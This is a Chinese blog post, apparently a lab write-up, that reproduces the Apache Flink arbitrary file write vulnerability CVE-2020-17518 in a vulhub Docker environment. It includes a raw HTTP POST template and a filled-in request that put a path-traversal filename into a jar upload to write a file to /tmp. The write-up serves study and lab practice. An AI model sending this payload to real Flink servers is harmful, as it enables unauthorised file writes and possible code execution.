Apache Flink远程代码执行漏洞复现CVE-2020-17518

发布于 2023-08-06  399 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2020-17518目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下,启动成功
find ./ -name *CVE-2020*
docker-compose up -d
docker ps

  • 因为和上一篇CVE-2020-17519一样都是打Apache Flink,就省略掉这个服务的介绍辣

  • Flink 在 1.5.1 版本中引入了一个 REST handler,这允许攻击者将已上传的文件写入本地任意位置的文件中,并且可通过一个恶意修改的 HTTP 头将这些文件写入到?Flink 1.5.1 可以访问的任意位置。

在 Apache Flink 1.5.1 版本中引入的 REST handler 是用于通过 REST API 执行特定操作的机制。通过这个 REST 
handler,您可以使用 HTTP 请求来与 Flink 集群进行交互,执行各种操作,例如提交作业、查询作业状态、获取作业计数
等。
  • 要使用 Flink 1.5.1 版本中引入的 REST handler,需要使用以下步骤:
在 Flink 配置文件(flink-conf.yaml)中,您需要启用 REST 接口。找到以下配置项并设置为 true:

rest.port: 8081
rest.bind-address: localhost

这将启用 Flink 的 REST 接口,并将其绑定到本地主机的 8081 端口。
  • 一旦启用了 REST 接口,可以使用任何支持 HTTP 请求的工具(例如 cURL、Postman、浏览器等)来与 Flink 集群进行交互。例如,要提交一个作业,可以使用 POST 请求来提交作业的 JAR 文件:
curl -X POST -H "Expect:" -F "jarfile=@/path/to/your/job.jar" http://localhost:8081/jars/upload
  • 要查询作业列表,您可以使用 GET 请求:
curl http://localhost:8081/jobs
  • 在 Apache Flink 中,一个"作业"(Job)是指一个由一个或多个数据流转换操作组成的数据处理流程。这个流程通常是用户编写的代码,用于在分布式环境中执行数据处理任务。作业描述了数据的输入、转换操作以及输出。它包含了以下部分
数据源(Source):作业通常从一个或多个数据源获取输入数据。数据源可以是文件、消息队列、套接字等。

转换操作(Transformation):这些操作对输入数据进行处理,可以是诸如映射、过滤、分组、聚合等操作。

数据汇(Sink):作业将处理后的数据发送到一个或多个数据汇,数据汇可以是文件、数据库、消息队列等。

并行度(Parallelism):作业可以在集群的多个计算节点上并行执行,通过指定并行度,您可以控制作业的分布式执行方式。

检查点(Checkpointing):Flink 支持状态检查点,以便在发生故障时恢复作业状态。
  • 看不懂😵‍💫打就完了

  • 漏洞要求1.5.1 <= Apache Flink <= 1.11.2

漏洞复现

  • 先访问一下服务,docker ps可以看到服务开在了8081端口,至于那个6123端口,这里并没有用到.可以看到Apache Flink组件版本为1.11.2,满足利用条件

  • 具体利用方法构造个post的包就行了,模板如下
POST /jars/upload HTTP/1.1
Host: 靶机ip:端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="写入文件的绝对路径"

你想写入的内容
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
  • 这里在创建一个/tmp/miao的文件,里面写喵喵
POST /jars/upload HTTP/1.1
Host: 192.168.1.101:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/miao"

喵喵
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

  • 然后就是验证环节了,前几个cve都是直接连容器的shell来验证的,但是这个cve正好也满足上一篇Apache Flink目录遍历漏洞CVE-2020-17519的利用条件,可以实现任意文件读取,所以直接拿上一篇的脚本跑,成功写入文件miao

届ける言葉を今は育ててる
最后更新于 2024-02-07